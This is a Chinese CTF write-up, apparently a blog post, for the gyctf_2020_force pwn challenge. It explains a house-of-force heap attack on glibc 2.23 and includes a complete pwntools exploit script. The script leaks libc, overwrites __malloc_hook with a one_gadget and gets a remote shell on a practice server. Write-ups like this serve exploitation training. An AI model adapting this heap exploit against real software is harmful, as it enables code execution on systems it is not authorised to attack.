gyctf_2020_force

gyctf_2020_force

查看保护
在这里插入图片描述
在这里插入图片描述

当size小于0x50时堆溢出,这里只有add没有show和edit。size随便申请多大都可以。
house of force吧,改写top chunk的size为0xFFFFFFFFFFFFFFFF因为在glibc2.23下的源码中这里是无符号写成-1时则为0xFFFFFFFFFFFFFFFF。详细可以看z1r0’s blog
当创建top chunk可以分配的大小的,所创建的chunk的位置为top chunk与该chunk size的偏移
所以这里可以进行任意地址申请,只需要将top chunk的size改为0xFFFFFFFFFFFFFFFF。
泄露libc的话,通过mmap来申请,mmap申请的地址与libc为固定偏移。刚好add中有泄露的语句。
最后通过realloc调整栈帧即可getshell

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './z1r0'

debug = 1
if debug:
    r = remote('node4.buuoj.cn', 26920)
else:
    r = process(file_name)

elf = ELF(file_name)

def dbg():
    gdb.attach(r)

def add(size, content):
    r.sendline('1')
    r.sendlineafter('size', str(size))
    r.recvuntil('bin addr ')
    addr = int(r.recvuntil('\n'), 16)
    success('bin_addr = ' + hex(addr))
    r.sendafter('content', content)
    return addr

libc = ELF('./libc-2.23.so')

libc_base = add(0x200000, 'aaaa\n') + 0x200ff0
success('libc_base'+hex(libc_base))

p1 = p64(0) * 3 + p64(0xFFFFFFFFFFFFFFFF)
heap_addr = add(0x18, p1)
success("heap_addr:" + hex(heap_addr))

top_chunk_addr = heap_addr + 0x10

malloc_hook = libc.sym['__malloc_hook'] + libc_base
success("malloc_hook" + hex(malloc_hook))
one_gadget = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = one_gadget[1] + libc_base
realloc = libc.sym["__libc_realloc"] + libc_base
offset = malloc_hook - top_chunk_addr

add(offset - 0x30, 'aaa\n')

p2 = p64(0) + p64(one_gadget) + p64(realloc + 0x10)
add(0x10, p2)

r.sendline('1')
r.recvuntil("size\n")
r.sendline('16')

r.interactive()
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

z1r0.

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值